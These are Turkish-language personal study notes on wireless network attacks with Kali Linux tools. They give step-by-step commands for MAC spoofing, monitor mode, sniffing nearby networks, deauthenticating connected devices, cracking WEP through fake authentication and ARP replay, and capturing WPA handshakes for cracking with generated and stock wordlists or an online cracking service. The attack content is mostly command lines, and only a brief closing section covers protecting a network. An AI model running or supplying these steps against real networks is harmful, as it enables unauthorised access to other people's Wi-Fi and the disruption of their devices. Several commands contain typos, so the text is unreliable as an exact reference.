🌐

Ağlar(Networks)

MAC Adresi

> Bir ağ cihazının donanımına atanmış özel adrestir.Cihazın ağ üzerinde tanınmasını sağlar.

> MAC adresi hexadecimaldir.
>
> - İlk 3 bayt: Cihazın üreticisini tanımlar (**OUI – Organizationally Unique Identifier**).
> - Son 3 bayt: Üretici tarafından cihaz için atanan benzersiz kısımdır.

MAC Adresi Değiştirme(Kali-Linux)

⚠️ Buradaki wlan0 adı cihaza göre değişebilir!

1.Yöntem

- `ifconfig wlan0 down` komutuyla ilk olarak wlan0 ağları kapatılır.
- `macchanger —random wlan0` ile yeni rastgele bir mac adresi tanımlar.
- `ifconfig wlan0 up` ile tekrar açılır.

2.Yöntem

- `ifconfig wlan0 down` komutuyla ilk olarak wlan0 ağları kapatılır.

- `ifconfig wlan0 hw ether 00:00:11:11:00:00` ile yeni rastgele bir mac adresi tanımlanır.
- `ifconfig wlan0 up` ile tekrar açılır.

Monitor ve Managed Mod

- `iwconfig`:Wireless ilgili detaylı bilgi veren komut
- **Monitor** modda bağlı olmadığımız ağlar hakkında bilgi edinebiliriz.
- **Managed** modda ağa bağlanıp internete erişebiliriz.

Monitor moda geçme

1.Yöntem

- `airmon-ng start wlan0` komutuyla monitor moda geçilir.
- Bu moddan çıkmak için `airmon-ng stop wlan0mon` komutu yazılır.

2.Yöntem

- `ifconfig wlan0 down` ilk olarak yazılır.
- Ardından `ifconfig wlan0 mode monitor` yazılır.

Ağları İncelemek

> Öncelikle monitor moda geçilir.

- `airodump-ng wlano0mon` komutu ile etrafta var olan tüm modem ağlarını listelemeye başlar.
- **BSSID**:İlgili modemin mac adresini gösterir.
- **PWR**:İlgili ağa ne kadar yakın olduğumuzu gösterir.
  >- olarak en yakını belirtir.(-1,-14'ten daha yakın gibi.)
- **CH**:İlgili ağın olduğu kanalı belirtir.
- **ENC**:Şifreleme bilgisini gösterir.(WPA2/WPA3..)

Bilgi Alma

- `airodump-ng —channel 8 —bssid |mac adresi| —write aiordumptest wlan0mon` ile hedef ağın bilgileri girilir ve bilgiler alınmaya başlanır.
  -
  write aiordumptest(işlemin çıktılarını dosyayaya yazdırır.
- Bağlı olan cihazların mac adresleri,pwr,ne kadar internet kullandıkları(frames) gibi bilgiler gösterilir.
- Oluşan *.cap* dosyaları *wireshark* programında daha detaylı incelenebilir.

Deauth Saldırıları

> Ağdan atma saldırılarıdır.

- `aireplay-ng -deauth <#packets> -a <AP> <interface>` ile bütün ağlara saldırı yapılır.
  >aireplay-ng -deauth 1000 -a 10:20:30:40 mon0
- `aireplay-ng -deauth <#packets> -a <AP(bssid)> -c <target(station)> <interface>` belirli bir cihaza saldırı yapılır.
  >aireplay-ng -deauth 1000 -a 10:20:30:40 -c 00:AA:11:BB mon0
- Paket sayısı büyüdükçe karşı cihazın ağa girmesi zorlaşır.

WEP

- Şifreleme mantığı:Initilization Vector (IV) + Key(password) ile bir şifreleme oluşturur ve bunu modeme iletir.
- Modem bunu decrypt eder.
- IV'ler 24 bit olup bunları kırmak kolaydır.Bu yüzden WEP önerilmez.

Şifre Kırma

- Öncelikle monitor moda geçilir.(`airmon-ng start wlan0`)

- `airodump-ng —channel 8 —bssid |mac adresi| —write wepcrack wlan0mon` komutu ile ilgili ağın bilgileri alınmaya başlanır.(Komut verileri örnektir.)
- `aircrack-ng wepcrack-01.cap` komutu ile *.cap* uzantılı dosya çalıştırılır ve şifre kırılır.
- Gelen ASCII veya mac adresi ile ağa bağlanılabilir.(macdeki noktalar olmadan)

> ⚠️ Dosyaya yazdırma ve çalıştırma işlemleri aynı dizin içinde yapılır.

Eğer hiç istek/trafik yoksa alternatif yöntem:Sahte Yetkilendirme

- Öncelikle monitor moda geçilir.(`airmon-ng start wlan0`)
- `aireplay-ng —fakeauth 0 -a |modem mac| -h |cihazımızın mac| wlan0mon` komutu ile fakeauth yapılır.
- `aireplay-ng —arpreplay -b |modem mac| -h |cihazımızın mac| wlan0mon` ile trafik işlemine başlar.
- Ayrı bir terminalde şifre kırma işlemleri yapılır.(`aircrack-ng wepcrack-01.cap`)

WPA

Handshake elde etme

- Monitor moda geçme ve bilgileri alma işlemleri aynı şekilde yapılır.
- `airmon-ng start wlan0` → `airodump-ng wlano0mon` → `airodump-ng —channel 8 —bssid |mac adresi| —write handshake-file wlan0mo`
- Eğer WPA handshake alınamazsa **deauth** saldırısı yapılır.(Ayrı bir terminalde)

  `>aireplay-ng —deauth 5 -a (cihazımın mac) -c (hedef cihaz mac) wlan0mon`
- Buradan oluşan **handshakefile.cap** dosyası ile kırma işlemine geçilir.

Wordlist ile kırma

- `crunch 8 9 xy123 -o testwordlist` komutuyla 8-9 haneli xy123 içeren tüm kombinasyonları içeren şifreler testwordlist adlı dosyaya yazdırılır.

- `aircrack-ng handshake-file-01.cap -w testwordlist` komutuyla kırma işlemi başlatılır.

Alternatif Yollar

gpuhash.me

- ESSID ve BSSID bilgileri verilir.
- handshake.cap dosyası atılır.
- Site,kendisi şifreyi kırar.

Kali hazır dosyaları

- *File system→usr→wordlist* içinde yer alan **fasttrack** veya **rockyou** hazır wordlistleri kullanılabilir.

Türkçe Wordlist

- github.com/atilsamancioglu/turkce-wordlist içinde yer alan dosya indirilip kullanılabilir.
- `cat wordlist.txt | grep şifrem`
  >wordlist.txt çinde şifrem geçenleri listeler

> ⚠️ Çalıştırılacak dosyalar aynı dizinde yer almalıdır.

Daha Güvenli Bir Ağ

- WEP yerine WPA kullan.
- Uzun,özel karakterler içeren ve karışık parolalar kullan.
- WPS kullanılmıyorsa kapatılabilir.(WPS,kablosuz cihazları direkt bağlamaya yarar-kod veya pin ile-)

🔪 **Ömer Faruk Baysal**